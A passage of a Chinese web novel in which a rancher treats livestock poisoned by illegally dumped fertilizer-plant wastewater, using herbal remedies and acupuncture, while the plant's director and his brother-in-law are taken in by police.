他跟姚新泉握了握手后才道，“我已经安排技术员过去确定痕迹了，如果确实是苏联进口的拖拉机，咱们县总共就两台，其中一台还已经报废2年了，另一台在今年年初的时候被一家企业收购的时候一并带走了，那家企业是个化肥厂。” “另外废水成分检测也已经再做了，具体怎么治理我们也请了专业人员来检测，会尽快给出解决方案的。” 姚新泉经介绍知道了他的身份，听罢忙道，“我们自然是相信政府的，只是也想做一些力所能及的事情”。 两人相视一笑，石岳文又接着道，“河流沿途的农牧民若是因为水污染造成了损失，这个损失金额到时候你们都报上来，不管是向厂家追责还是政府补贴，总归是会给你们减少损失的。” 姚新泉感受到周围有摄像拍照的人她也没在意，只要能把事情做好，宣传就宣传呗！ 两人跟其他人打了声招呼便又上山了，当然上山前两人又去买了不少带盖子的水桶方便运水和储水。 两人一路丁零当啷地上了山，把留下来看家的毛毛推开后她才能下车，姚新泉拍了拍身边的水桶盖子，“师同志，那短期内的运水任务就交给你了，你能完成吗？” 师月江挺胸收腹，很正式地给她敬礼，“保证完成任务！” 毛毛看看师月江再看看姚新泉，也没搞清楚在干嘛，但他很配合地嗷呜了一声，听得姚新泉笑得不行！ “行了行了别耍宝了，月江，你说咱们要不要想想办法弄点儿水生生物过来，不都能吃藻类吗？也能尽快恢复咱们这边的生态？” 无论是引泉水还是送水这都是没有办法的办法，这条河流可是贯穿了她4000亩的牧场，啥泉水能流经这么大的牧场？ 而且轮牧的话总是要到较远的地方去的，师月江骑上一两个小时去送几桶水？不说人累不累，这油钱都受不了！ 还有下个月牛就要生了，不免还要多放些心思在它们身上，到时候更顾不得送水了，总不能再单独雇个人送水吧？ 师月江也是赞同的，修护生态肯定是一个长期的工作，不管是打捞也好，还是用活性炭吸附也罢，再或者是往水里倒入什么化学试剂这都是短时间的一个措施，长久来看不能这样搞。 “不是刚好有专家要过来吗，咱们也去问问要不要放一些鱼苗虾苗或者贝类，这东西我是完全不懂的，咱们也不能瞎放，到时候真破坏了生态，咱罪过可就大了。” 姚新泉很是赞同地点头，引入别的生物，不能太不适应本地了，这种一落地就完蛋，根本达不到效果。 可也不能太适应甚至都没在本地生物链上有克星，这样不就泛滥了吗？ 所以专业的事情还得交给专业的人！ 两人又商量了几句决定等专家那边先解决一下最紧急的事情，把河水做一下初步的处理，毕竟按照现在的情况看，就算放进去也得完蛋，不着急。 他们不着急，但外面也有很着急的人。 丰收化肥厂的厂长刘德贵听说有人在查排放污水的事情时脸都黑了，他一巴掌拍到桌子上指着眼前人骂道，“你现在知道来找我了？当初是谁背着我跑去河里排污的？我有没有给你们拨买污水处理设备的钱？有没有讲要买新的？德国日本进口的咱们买不起就买国产的，我有没有说过？” 孙宝根心里不以为意，可想到厂子可不能出事，一旦出事了自己未来也得跟着倒霉，现在还得让刘德贵在前面挡着呢！ 想到这里他又软了声音，“姐夫，那我不是没见识吗？我哪能跟你比啊？我家如果不是我姐有幸入了姐夫您的眼跟了您，那我算个什么东西啊！” 孙宝根完全不觉得自己跟刘德贵低头有什么，骂他和他姐的人那么多，可有几个人的日子过得有他们好？小三又怎么样？现在还不是踹掉了家里的黄脸婆，跟他姐在一起了？ 别看他现在只是在采购部任职，将来等他姐笼络好刘德贵之后，这家厂子到时候姓刘还是姓孙还未可知呢！ 第84章 本以为刘德贵会像从前一样一笑而过的,但没想到他抓起桌子上的杯子就朝孙宝根扔了过来，吓得孙宝根赶紧躲了过去。 “姐夫你干什么？”他喝道，眼中满是怒火。 “我干什么？”刘德贵冷笑,“我要被你害死了,我干什么？” 妈的,他之前小厂子开的好好的为什么突然要收购了一家倒闭的县级厂子？还不是为了跟县里搞好关系？ 农药化肥这行说好干其实也好干,毕竟只要是种地的,谁不需要？就算家里开了个菜园子都想要撒点化肥呢！ 但是也确实不好做啊！ 从前自己私下偷偷摸摸做也就罢了,一旦想要扩大生产，各种问题就来了。技术要不要升级？设备要不要买？原材料的供应是否稳定？除此之外，现在还多了一个什么破环保理念！ 不止要求他们的生产产品环保，还要求他们的生产过程环保！ 还干个屁啊！ 虽然这样说,但是该干还是得干,所以他申请了排污许可,还安排了自家小舅子去采购了简单的污水处理设备，这东西他的预算是12万。贵是贵了些，但是农药环肥行业本身就是被重点监管的行业,他要想扩大规模,要想合法经营生产，那这都是无法避免的！ 他咬着牙掏了钱,心里也知道这个便宜小舅子估摸着会在里面捣鬼,按他的想法是他在里面搞个万八千的他就认了,就当拿这钱买自己儿子在他妈肚子里高兴！ 可谁能想到这个龟孙子竟然跑去买了一个已经濒临淘汰的污水处理设施呢！ 这玩意就花了1万2,他给自己报价十一万二，中间10万块被他摸走了！ 天上掉钱都没这么快吧！ 那设备说坏了倒也不至于，只是技术落后，设备老化,效率低下。 孙宝根不敢把事情让他知道，这不就偷偷开了单位的拖拉机出去排水！ “你知不知道人家在外面查到底是谁在排放污水了！”刘德贵忍不住抓了抓头发，他到底是造了什么孽啊！ 孙宝根虽然不以为意，但是见刘德贵这个模样，心里还是忍不住有些打怵，“姐夫，那你说现在怎么办？” 怎么办？去死！ 刘德贵恨恨地瞪了他一眼最终还是无奈收回视线，“这事儿谁知道？” “就我和污水处理那边的老张知道，咋了？” “咋了？你把人嘴给我堵好了！要是出了事，要是我出了事”，刘德贵下槽牙都要被咬碎了，看着孙宝根的目光也满是恨意，他第一次这么真切地后悔为什么会跟其他女人滚到一起去！ 两人正想继续说话突然听到外面乱糟糟的，刘德贵刚起身便见到办公室大门被打开，两名穿着制服的公安同志进来了。 “刘德贵同志，孙宝根同志，现怀疑你二人与我县一起污水排放事件有关，请你二人跟我们回去协助调查！” 孙宝根还想狡辩，可刘德贵却像是被霜打的茄子一般跟着人走了，都找上门来了，人家要没点儿证据会这样？ 县里刚开没多久的农药化肥厂老板跟小舅子被带走的事情没多久就在县里传遍了，知道姚新泉牧场受影响的张运秋气得在电话里跟姚新泉骂人。 姚新泉安抚了半天才让人冷静下来，不过现在幕后黑手已经被抓，后续的赔偿问题等他们找自己商量再说，姚新泉的重点还是放在了家里的牲畜身上。 姚新泉蹲在羊圈边上看了好久，见她吐出嘴里的草杆子，拍了拍手站起身来，师月江走过去问，“怎么了，有什么想法？” “我给它们把把脉，想着再配一点中药调理着吧！”昨天半夜到现在也就给那两只小羊挂了水，别的都没再给药了，但是也得关注啊！ “把脉？”师月江瞪大了眼睛，还能给牲畜把脉？ 姚新泉很少见他这幅模样，没忍住揉了揉对方的头发，当然了，踮脚揉的。 “这你就没见识了吧！唐代有一本书叫《司牧安骥集》，这是目前能考古到的留存最早的官方兽医专著，里面有给马诊脉的方法，宋明也都有相关文书，不过大多是针对牛、马的，还有一本是针对骆驼的，针对羊的少，毕竟比起来经济价值要低。” “我之前没试过，先试试吧！” 不过就算没办法把脉或者不准问题也不大，中医讲究望闻问切，就算切不准，还有其他的呢！ 知道了它们的症状、缘由、之前的用药，也是能开方子的。 姚新泉走到一头小羊身边，小羊趴在地上，见她过来忙蹭了蹭她，咩咩直叫，听得姚新泉心都化了。 她顺手摸了摸小羊的耳朵，嗯，体温正常。 “你别一直盯着我，把脉也不可能把耳朵上的”，姚新泉有点无语，倒是师月江坦然一笑，“我就是好奇，我也知道不可能在耳朵，我在想会不会是颈部？” 姚新泉摇了摇头，她走到小羊尾巴处，轻轻抬起羊尾巴，刚要触摸就见小羊啪嗒啪嗒往下掉羊粪蛋蛋。 姚新泉！！！ 师月江一愣，随即哈哈大笑起来，小羊无辜地咩了一声，姚新泉无奈瞪人，“你的笑声吵到我了。” 她声音里的怨念清清楚楚，师月江自然听得出来，但还是很好笑啊！ 他强忍住笑意，说了句抱歉，示意她继续。 姚新泉叹气，她轻轻抬起羊尾巴，用食指跟中指触摸着尾腹面中线处的动脉搏动，她微微闭上眼睛，静静地去感受。 跟着系统姚新泉确实是学了把脉的方法，但是这还是第一次实操，一瞬间竟然觉得耳边充斥的全都是自己的心跳声。 她放空一切，就感受着手指下的搏动，过了好一会儿她才睁开眼睛，看着她眼中的喜意师月江就知道她感受到了。 “怎么样？” “兼具滑数和濡数，同时又能感受到脉象的弦滑。” 师月江两眼茫然，他尴尬地清了清嗓子，声音里满是心虚，“我只是听说过人怀孕了是滑脉，羊也一样吗？” 姚新泉点头，“没错，怀孕的羊一样会有滑脉的脉象，一般情况就是如盘走珠，流畅有力。但这只小羊不是，它的滑数是指脉象快而流利，濡数则是指脉象浮软而快，这两者并不矛盾，只能说明小羊体内有毒素未清。” “但是仔细去品又能感受到脉象的沉细滑，这说明小羊的胎儿还存活着，但是胎像不稳，同时母羊正气不足。” “而脉象的弦滑更多的则是因为母羊肝气不舒，我得给它开保胎安神的药以及解毒利湿的药。” 接着姚新泉给报了两种药方，一种是甘草绿豆汤，用生甘草以及绿豆来熬煮煎水服用。 保胎的话则是用黄芪安胎饮，内含黄芪、黄岑、桑寄生、杜仲、苏梗等，能够补气固胎。 师月江赶忙记好药方，等姚新泉给小羊全都把脉过一遍后觉得情况都大差不差，都可以用，给了个具体的数量让他去买。 “你多买一点绿豆和生甘草，那四百多的羊也可以喝。” 师月江点头，看着她的目光中满是赞叹，“新泉，你懂得可真多啊！” 他没有想问她为什么会懂这么多，这不重要，重要的是姚新泉在做自己擅长的事情时整个人都在发光！ 师月江去县里买药了，姚新泉则去看了看小鹅跟小鸡，这两天也该放出去了，没必要再圈养了，如果变天，不行再往回赶呗！ 从鸡圈里出来就看到平安在一旁蹭栓马的杆子，姚新泉皱了皱眉快步走了过去，“怎么了，我看看哪里痒？” 平安委屈巴巴地凑过来，姚新泉把他的头挪开后在他身上看了看，这一看眉头就皱了起来。 草鳖子！ 草鳖子也叫蜱虫，这玩意儿吸血的，而且沾到身上就难下来了！ “你别动啊！”姚新泉叮嘱道，见他确实没有动的想法赶紧跑到客厅把医药箱翻了出来，从里面拿出镊子准备夹草鳖子。 这玩意儿不能直接抓，不然容易把头断在里面，如果上去就是一巴掌倒确实能把草鳖子打死，但是与此同时它的肚子里被爆出一肚子血，而且也会增加感染的风险，头还一样会断在里面…… 所以最好的方式还是用镊子夹。 姚新泉用镊子轻轻贴在平安身上，夹住了草鳖子的头部，然后缓慢垂直地向上拉出，避免扭转或者挤压。 她小心翼翼将草鳖子从平安身上拔下来后扔在了地上，一脚踩死，然后给他伤口消消毒，再在他全身检查了一通确认没什么问题这才松了口气。 “之前驱虫漏了你了”，那时候平安伤口还没恢复好，所以不管是外用还是内服的驱虫药都没给他喂，这不就粘上草鳖子了？ 她翻出伊维菌素给平安，见他不吃又在手心放了一块儿糖，平安这才把药跟糖一起吃下去，随后又给他涂了外用的防虫药物。 趁着刚好有空，姚新泉又给他检查了一下腿，检查完之后姚新泉更满意了，“乖宝宝，这么听话都没有乱跑乱跳是吧？” 平安希律律叫了一声，大眼睛忽闪忽闪的很是可爱，姚新泉看得心都化了。 刚想说什么就听到屋内电话响了起来，姚新泉赶忙去接了电话，话筒刚拿起来便听到对方问，“姚同志，你那边方便接收马吗？” 第85章 马？原本没反应过来是谁,但听他这样说姚新泉就明白了，是杜若林。 “怎么了？是有军马出事了吗？” 杜若林的声音很沉重，他叹了口气,“是,腹部的伤已经做了手术,断腿也已经接骨,但是医生说”,杜若林沉默了一会儿,姚新泉便明白他的意思了。 或许是没必要救了，或许是救不回来了，总之这匹马算是被判了死刑。 姚新泉叹了口气，要说多想接这个活儿倒真不至于,不说别的,算一算家里的情况啊,6月左右牛要生了，七八月份细毛羊要生，九十月份湖羊要生,这还只是妊娠期的牲畜。 除此之外呢？牧场上多的是需要操心的事情,等那四百多只细毛羊的状态确定没问题了就得继续剪毛，牧草要打一茬,种下的青贮玉米和苜蓿里 面,苜蓿也快能进行首轮收割了。 还有家里菜地里除草、施肥也都要干。平时堆肥等事情也得持续做,不能等用的时候没办法供给再去堆。 鸡鸭鹅虽然还不算太大规模,但是也得持续关注，万一有个什么传染病那损失可不小啊！ 还有蜜蜂，虽然说没花多少钱，但是隔一段时间还是要去割蜂蜜的。 就这样,现在还多了一个水源被破坏的问题，至少几个月内是没办法恢复到常态的，又给她增加了不少的麻烦。 在这种情况下，接收一匹需要悉心照顾的马真不是什么好差事。 拒绝的话还没说出口师月江突然想到了平安受伤那时候的眼神，她又迟疑了，过了许久还是叹了口气，“你赶紧安排人送过来吧！路上注意不要颠簸，把它的片子、病历等材料都带过来。我可以接，但是丑话我要说在前面，我不能给你做任何保证。” 杜若林松了一口气，本以为她不同意呢！ “不用你保证，但我希望得到你的一个承诺”，杜若林的声音隔着电话线听起来比平时要低沉了些，更是显得万分郑重。 “我希望你能竭尽全力，至于最终结果如何，尽人事听天命吧！” 就算他心里有各种美好的期望，但是事实就摆在眼前，兽医都想着要不给它安乐死吧！ 这种情况下姚新泉要是能救活它，那这绝对是一个奇迹，若不行，那也是意料之中，谁也怪不得她。 “我丑话得说在前面，我可以不收取治疗的费用，但是药钱得你们出”，虽说兽医没有像医院的医生一样得有个什么从业许可证，她也不是专业院校毕业的，但是有平安这个例子在前，她虽然没有去问过市场价，但是她如果真往外喊，仅仅是请她出手还不包含医疗费等费用，她是敢喊500块钱的。当然了有没有人愿意接受治疗再说，喊肯定是敢喊的…… 但是姚新泉思考了很久觉得确实没必要赚这个钱，她缺钱但也不缺钱，短期内牧场的资金是够周转的，但长远来看她还是缺的，可这500块起不到什么决定性的因素。 既然这样，为什么不拿出来卖个好呢？ 姚新泉之前就有过这个考虑，不是说她一定要跟杜若林的单位那边扯上什么关系，只是卖个好，大家都高兴啊！ 当然了如果真的能救好的话，这些就都不算什么了，仅仅是治好了一匹旁人都束手无策的马对她来说的成就感已经盖过所有了！ 杜若林没有任何的迟疑，“你放心，医疗费我们肯定正常支付”，这匹马也是在执行任务的过程中受伤的，国家和部队绝对不可能不管它，安乐死也只是为了减少它的痛苦，而不是为了节省开支。 不管是军马还是军犬，它们虽然是动物，但它们更是自己的战友。 两人大概商量了一下后杜若林就带人往这边赶了，姚新泉放下电话就把自己之前治疗平安时的笔记本翻了出来，这本是原件，另外她还复印了两份，一份给了艾力，一份给了杜若林。 这次的马比上回平安的伤要严重的多，平安只伤着腿，身体是可以用吊马兜来撑住以防止压迫到伤腿，但现在这匹马除了腿，腹部也受伤了，那腹部在伤口愈合前也不能受到挤压，这样的话就其实最好的办法是侧躺或者趴着，这可不只是对马来说舒不舒服的问题了。 不过估计趴着也很难，伤腿怎么办？ 侧躺着的话时间长了又会导致肌肉和神经受到压迫，会疼会麻木甚至是瘫痪。 被压迫的地方还可能会导致溃疡。 呼吸系统、循环系统、消化系统都有可能受到伤害。长时间不站立的话，它可能也会出现问题，因为之前腹部的手术还有可能会导致一些并发症。 总而言之就是不管是站是躺是趴，反正每条路都不好走甚至是走不通。 姚新泉倒也没觉得自己跟着系统课程学的那些东西已经超过兽医的普遍水平了，可除了自身的本事之外，金手指还是给了她底气的。 就算不提平安，只说这次污染事件，如果不是金手指给力，那些症状严重的母羊没几个能保住孩子的。 这可能确实不是一用百病全消的金手指，但绝对会成为她在救治动物过程中第二大的助力。 当然了，最大的助力是她自己，无论是早年的经验还是这大半年的废寝忘食，她那些书不是白读的，课也不是白上的！ 师月江带着药品跟绿豆等东西回来的时候就看到姚新泉正盘腿坐在茶几前一边翻看着笔记一边写着什么。 他凑了过去，“要不要给你打一张桌子方便你看书？” 姚新泉有些无奈地看着他，“你是太闲了吗？” 不等师月江解释她便接着说，“不说我卧室里有桌子，就算要备一个在客厅，咱们买就是了，打一张多费时间！” 师月江尴尬地笑了，他还觉得两人现在困在大雪中，想要什么都要自己去做呢！ “东西买来了吗？” 师月江打开给她看，姚新泉抓起茯苓和白术等仔细看了看，过了好久才道，“东西没什么问题”，她在系统课程里学到了很多知识，但是在现实中她基本没怎么接触过中药，所以只能按图索骥了。 “你把那个小称翻出来，方子我写给你，你称好后放到一边，等我这个绿豆汤熬好之后你再熬药。” 她翻出了家里最大的一个锅，在院子里架了个炉子后开始熬煮起来，这个锅年龄比姚新泉还大，据说是从前吃大锅饭的时候的锅，后来爸妈给换了回来，用这个锅炒菜，十来个人吃绝对没问题！ 她分了好几锅，不止给那八十多头羊，剩下的也都喂了一拨，也算是食疗了。 煮完后把甘草绿豆汤倒在一边晾着，锅让师月江拿去熬药，虽然说用药罐熬药最好，但是她上哪找能同时几十头羊够喝的药罐去？就这样吧！ 姚新泉自己摊起了蛋饼，然后把杜若林说的事情告诉了师月江。 师月江有些心疼地看着她，“会不会太辛苦？” 姚新泉想了想后摇头，脸上表情很是坦然，“我觉得挺好的，这个牧场现在看起来好像按部就班的，但你觉得真的走上正轨了吗？” 师月江就算没正儿八经做过生意，但是耳濡目染之下也了解了不少，要真说起来，其实他觉得姚新泉目前铺的摊子不小，也许在专业方面不差，但是在别的方面真的就还挺草台班子的。 非常符合对个体户的刻板印象，什么都没办法规模化，好像在每个方面都是有枣没枣打一杆子的状态。 比方说到底是养殖牲畜还是家禽呢？姚新泉两者都有涉猎。 是搞繁殖还是搞育肥呢？姚新泉两个都搞，三元杂交现在是她牧场上相对来说比较重要又比较有难度的工作，肯定是要花心思的。 可问题是这一块儿来钱慢啊！ 现在湖羊刚揣崽，九到十月就能生育，生下来的小羊按5个月性成熟来算，但也不代表性成熟了就能立马配种啊！初配的年龄最好在8-12个月左右，否则容易难产的。三元杂交里最终想得到的小羊是以这批羊为母本的，如果难产损失就太大了！ 就按10个月来算，明年八月左右再配阿勒泰羊，后年一月份左右生产，等到出售最最起码得到后年下半年了。 在这期间，除了湖羊跟杜泊羊配出来的小公羊不作为种羊繁殖，育肥后出售以外，这些羊基本可以说是没有 回头钱的。 姚新泉背后可没有金山银山支撑着她，资金流断了问题会很严峻的。 所以至少短期内她没办法指望繁殖赚钱。 那就还是得搞育肥，就像她之前那样，买一批羯羊育肥出售，虽然费精力也操心，但是赚钱啊！ 除此之外，到底是发展肉羊还是用毛的羊呢？ 姚新泉家目前这批细毛羊的毛最多算是中等质量里还行的，价格卖不上，那就只能看繁育出来这一批怎么样了。同样的问题，不是短期能回钱的。 春夏秋天还好，到了冬天，那就是不赚钱纯往里贴钱了啊！ 而且她也没掌握什么完善的稳定的销售渠道，她培育出来的三元杂交羊是想面向本地吗？未必吧！她不可能按照市场上大多数羊肉的价格去卖，但是高价羊肉的市场有限啊！ 师月江虽然没跟她聊这么深，但是也能感受到，她之后肯定有自己的打算，但不管未来如何，至少目前看，其实还是稍微规模大一点的家庭养殖而已。 第86章 姚新泉一直很清楚自己在做什么,也知道自己想要什么。 无论是从她牧场的规模来说还是从她牧场上的人员数量来说她都没办法同时兼顾这么多的层面，她只是一个普通人而已。 所以在姚新泉计划的未来里，她的主要工作还是放在繁育和育肥这两块上,她必须得在其他方面做出取舍。 她需要通过育肥来打响自己的名气,让他们意识到自己牧场里出产的牛羊肉就是比别人牧场的好吃。不只是养殖方式的原因,还有品种的原因。 如果能推广开来,她可以主要做繁育,到时候别人从她牧场里买羊羔,再育肥卖出，将她牧场里出生的小羊羔卖到全国各地去！ 考虑到国内的消费习惯以及饮食方式，牛羊并不算最畅销的肉类，毕竟国内大肉能做出花来,牛羊肉相关的就少很多了,不是说国人不吃,只是相比起来还是吃大肉更多。 所以姚新泉的目光除了国内市场还放在了中亚市场上，倒不是说那边有钱人多，只是那边食用的主要肉产品就是牛羊马肉！ 至于羊毛,也许高端市场确实很赚钱,但是姚新泉对自己的认知很清楚，简单的杂□□种繁育的产毛羊,哪怕她有金手指也没办法把它们卖出高价的。 真算起来,对于年均收入也就2000出头的本县来说,她一次的羊毛钱不算低,但是跟卖羊肉的价格比起来就不值一提了。 既然卖不上高价，那这块儿至少短期内不会成为她的主营产品，也可以做，但是重心不会放在这上面。 鸡鸭鹅的话她是想继续做的,家禽只要不出什么传染病，回款速度算是快的了，可以做。 “我不管是主营什么，我都少不了市场需求以及人脉关系，照顾军马既能为我提供这方面的需求，同时也是做我自己乐意做的事情，我为什么会觉得累呢？” 现在做的事情是她乐意做的，也没有超过身体的负荷，为什么会累呢？ 师月江目光怔了怔，从前他做自己喜欢的事情也是不会觉得累得，现在也一样。 他朝姚新泉笑了起来，“那我还是给你做好后勤保障工作，另外你看有什么需要我的也可以跟我提。” 姚新泉没忍住轻轻抱了他一下，这种自己想做什么都有人在背后支持的感觉真的特别好！ 小马还没送过来，师月江先给他哥之前在农大那边联系过的教授打了个电话，等挂断电话后他带着自己记录的东西去找了生态局请来的专家，了解到自己想了解的知识后他才回来找姚新泉。 “目前他们正在做的是一些物理层面的打捞，等打捞完就可以放入一些吸附性强的东西进行二次净化。我跟专家了解过，咱们可以养一些耐污的水生生物放进去，净化水资源是一方面，也可以考虑养有经济效益的。” 姚新泉沉吟了一会儿后点头，“确实不能只指望他们，这条河虽然没在我的承包范围内，但是它是影响着咱们牧场的正常经营的，我们自己得上上心！”哪怕多花一点钱呢！ “不过得去打听一下，只是钓鱼倒无所谓，但是如果涉及到养殖这种可能也得获得审批”，不过目前这个情况，他们愿意自己掏钱，相信不少单位都会给他们开绿灯的，毕竟目前用钱的地方可太多了。 两人各自忙了起来，师月江去跟进污水治理的进度，姚新泉则是在思考小马的治疗方案。首先肚子上的伤口得想办法做腹带，一方面可以保护伤口，另一方面也能提供支持缓解压力。但是腹带得是有弹性的，不能束缚强度太大，否则会对小马的内脏产生压迫感。 至于腿上的话，吊马兜还是得用，或者也得采取别的方式去给马腿减负，这个得好好琢磨琢磨。 还有用药，上次经验不足，其实能用的中药有不少，都可以试一试。除此之外她还想在征得杜若林他们同意的情况下用一下针灸，这是她新学的，还没试验过，但是技术这东西不就得练吗？不练就永远是新手，永远没有用得上的机会啊！ 反正尽力去试吧！ 计划做的差不多后姚新泉又专门下了趟山，艾力不在家，估计在别的地方处理牲畜的问题，她只能绕路去了县里的兽医站把自己需要的兽药买上，又去了中药店把中药买上。 店里人看到她的方子后眼神很是奇怪，欲言又止，“同志，你这方子是什么人开的？” 知道对方误会了，姚新泉赶忙解释，“不是给人用的，是兽用的，这也不是一副方子，你看这用量也不可能是一次的量啊！我多买一点，回头自己称着用。” 药店的人这才没再说什么，给她拿了药。 回去后姚新泉找了把梳子把毛毛抱了过来，打算给他理发！德牧的毛其实并不长，毛毛算是里面偏长的了，特别是头上的毛长得特别快。 姚新泉拿起梳子把毛梳顺了之后用剪刀将眼睛周围的长毛都剪短，这孩子两周不剪毛就要挡眼睛了。 毛毛乖巧坐在她面前等着她剪毛，脸上的剪完还有脚上的，他喜欢踩水，脚上的毛太长的话不容易干，藏污纳垢容易有细菌。 又给其他几个小家伙剪完毛之后最后才是点点，哈萨克牧羊犬算是长毛犬了，外层的毛又粗又硬，里层的毛还非常厚实，很是适应寒冷的气候，但夏天就热了。 姚新泉拿着剪刀拍了拍点点的头，“你给我坐好了，你要是乱动我戳到你的肉我可不管的啊！” 后面忙起来更没时间管他们了，今天就得把毛剪了，反正天气已经热了起来。 点点呜呜了两声后乖巧坐正，姚新泉倒也没说给他剪个什么造型，反正剪短了不会热着就成。 因为小家伙们的配合姚新泉没花太长时间就弄完了，小家伙们都很是爱岗敬业，一结束就跑去工作，最后就留下皮皮和平安两个。 姚新泉摸了摸平安的腿，“小平安你真的是恢复得太好了”，至少外表是完全看不出他曾经骨折过。 而且平安自己心态也很好，复健过程中就算不舒服他也没有抗拒，交代了不许跑跳，他就每天都慢悠悠散步，特别老实。 “这两天牧场会来一个新朋友，它的伤比你还严重，到时候你跟皮皮可以多去陪陪它”！ 给他们收拾完了之后姚新泉本想去做饭的，不想竟接到了艾力的电话，“小姚，这边忙不过来了，你看你要不要过来帮帮忙？” “还有中毒没治疗的吗？”今天已经是第二天了，这牲畜中毒的黄金治疗时间其实也就两三个小时，如果没及时治疗很容易会造成不可逆的伤害的。 她家的羊按照姚新泉的想法来说，如果不是用了治愈术，估计也来不及。 当然了这也让她发现，治愈术用在药上可能比直接 作用在身体上更有效，倒像是能激发药性一样！ 反正总而言之，姚新泉觉得说句不好听的，如果现在才接受治疗的话，应该是没啥用了！ 艾力在电话那头长长地叹了口气，姚新泉本以为他要抱怨什么人手不足或者药品不够之类的，没想到他骂了起来。 “真想撂挑子不干了！” “昨天我已经进行了初步治疗，能救的今天接着救，死了的我也没办法。你知道我今天治的啥？” 不等姚新泉反应，他便道，“是今天新中毒的！说了不许用河水不许用河水，短期内要么自来水要么地下水坚持一下，但人家就说用水不方便然后用了河水。” 听这话茬不对，姚新泉皱眉问，“是人用了还是牲畜用了？” 艾力冷笑，“都用了。” 姚新泉张了张嘴不知道说什么，神情有些茫然。不是，那河里颜色都变了，他们竟然敢喝？ “现在家里人拉到医院去了，村干部盯着我给他家牲畜看病呢，我这来不及了，你看你方便来一下吗？” 他自己也不好意思，“你家羊也还病着，我这”，但他是真没办法了，这家人条件特别差，又穷又懒，这牛羊要是死了那就更啥也别指望了！ 姚新泉想了想家里的情况，小羊暂时还不用继续喂药，等自己晚上回来再看也成，家里的事情师月江可以操心，小马还没运回来，她去短期帮个忙还是可以的。 想到这便问，“中毒的牲畜多吗？” 艾力又沉默了一会儿，姚新泉还以为信号不好，喂了两声，那头艾力才叹气道，“每家倒是不多，但是有七八家。” 姚新泉？？？ 不是，这么离谱的事情一家干干也就得了，七八家闹什么呢？ “七八家的人也中毒了？” 艾力笑了一声，声音里满是不屑跟鄙夷，“可不是？你来吗？” “在哪儿，我现在过去！”就算不提治疗，就这么奇葩的人家她也是想见识见识的。 姚新泉给师月江留了个纸条，上面还把艾力打过来的电话记下了，又给摩托车加满油，检查了下小羊们目前状况都还好便出发了。 第87章 姚新泉骑车到了目的地之后就看到满脸怨念的艾力,艾力有气无力地跟她打了声招呼，示意她自己找还没治疗的牛。 姚新泉看着躺倒在地上的牛头皮直发麻，光站不起来的加起来就□□头啊！这要都死了损失可就大了！ 一头活牛就算按500公斤来算,一公斤3块钱的话,那一头牛就得1500了,这都了小两万啊！ “这怎么回事啊？昨天下雨不方便,今天一早我那边村里都有干部来我家通知不许再让牛羊去喝河里的水,这边没通知？”他们俩去河边之前村干部就来了,算下来人家四五点就出门通知了，这边没有动静吗？ 艾力冷笑一声，脸上写满了脏话，“我真想拿针筒把他们脑袋里的水抽出来,真是又蠢又坏！” 在一旁没什么存在感的村干部小马声音里都是哭腔,“我早晨六点就来通知了,今天天气不太好，那时候天都还黑着，我都是打着手电筒去的！” 她就怕有牧民没注意到让牛羊误食了,着急忙慌地跑过来提醒,谁能想到这些人压根就没放在心上呢！ 人跟牛羊出事自己过来的时候那些人还指着自己骂说自己为什么不提前跟他们说？ “还有之前，我们三令五申让他们给牲畜打布病疫苗,但他们就是不同意,还说一直都是这么过来的,拖到前几天县里爆发了好几例布病后,镇上明确说了，如果不打疫苗那就罚款，他们才骂骂咧咧配合把疫苗打了。” 想到这里小马又开始抹眼泪，这都什么破事啊！她怎么这么倒霉！ 姚新泉满是同情地看了她一眼,不过这些事情自己可帮不上忙，她只能把目光放在了倒在地上的牛身上。 她戴上了手套，这是艾力给她的，说是县里上次布病出现后就给兽医们安排了，暴露在风险中确实太危险了。 姚新泉看向倒在地上的一头哈萨克牛犊，它长得很是清秀，红褐色卷曲的毛发遍布全身，唯有额头上有一撮白色的毛，湿漉漉的大眼睛里满是痛苦，可在姚新泉靠近的时候还是低声朝她哞了一声。 姚新泉听得心都化了，不知道是因为它吃的最多还是因为它年纪小，目前的牛中最严重的就是这一头了。 姚新泉看了看小牛的情况，流口水，嘴边还有呕吐物，肌肉偶尔还会迅速地颤动抽搐，虽然暂时还算不上呼吸困难，但是也能感觉得出来比正常情况要沉重一些。 给小牛测了肛温后发现已经到40摄氏度了，正常小牛犊的肛温也就38.5-39.5摄氏度。 姚新泉脸色很不好看，消化系统、神经系统、呼吸系统都在报警，估计肝脏损伤也避免不了，它比起家里的小羊还要严重的多。 顾不上跟艾力商量了，况且艾力在来之前也已经跟她说过到时候她可以自己做主。这边兽医执业并不需要什么许可证，她的技术是得到艾力认可的。再说了，全套的治疗手段之前在她家羊身上也做过，艾力也没什么好办法，只能照着来，姚新泉也可以照着来。 她给小牛犊灌服了对应体重的活性炭，又兑水灌服了硫酸钠，同时静脉注射生理盐水、葡萄糖液以及保肝用的葡醛内酯，再给小牛犊给上维生素C和维生素B1。 因为小牛犊情况严重，姚新泉也不敢等一等看看效果再说下一步的治疗方案，想了想她还是把自己提前带过来的中药拿了出来，给它配了一副茵陈蒿汤，同样具有保肝排毒的作用。 西药里没有特效的解毒剂，只能用一些缓解神经症状、炎症之类的药物辅助治疗。 但小牛犊的情况确实严重，想了想姚新泉又给配了一副黄连解毒汤，考虑到已经用了不少药，给适当减少了些药量。 她又把自己背包中的一个盒子翻了出来，把消毒过的针捏在手上。牲畜用的针跟给人用的针还是不一样的，她在市面上没找到，也问过艾力，他也不知道谁会做，后来还是问了系统后系统告诉她了一个可以定制的地方，姚新泉花了不少钱专门定制了五套。 倒也不是她浪费，是人家不愿意开模，开模最起码做五套，想到之后总会用到所以她也没拒绝。 这针比给人用的粗还长，给人针灸的针一般也就15-75毫米这样，姚新泉手上的针足足有100毫米。材质也比给人用的硬，毕竟不管是牛皮还是羊皮，扎进去所受到的阻力可比扎进人的皮肤要大多了！ 姚新泉深吸一口气，左手用指腹轻轻刮了刮小牛犊的鼻子，“你可要乖乖的不许乱动，我要给你下针了啊！” 她左手捂住小牛犊的眼睛，找准了位置后目光紧紧盯着小牛犊的人中处，也就是它的鼻唇沟上三分之一与下三分之二的交界处下针。 姚新泉轻轻捻转着针，感受着手下的阻力变化，针尖刺入皮肤后好像触碰到了一种又坚韧却又柔软的同时还很有弹性的物质，姚新泉眼睛一亮，知道找对位置了。 她手下微微用力，从针上突然传来一股沉紧感，像是被吸住了一样。姚新泉松了口气，第一次在现实中施针，穴位对了。 小牛犊也像是感觉到了什么一样，精神微微振奋了一些，它想动却被姚新泉按住了，“乖乖躺着，我先给你扎完。” 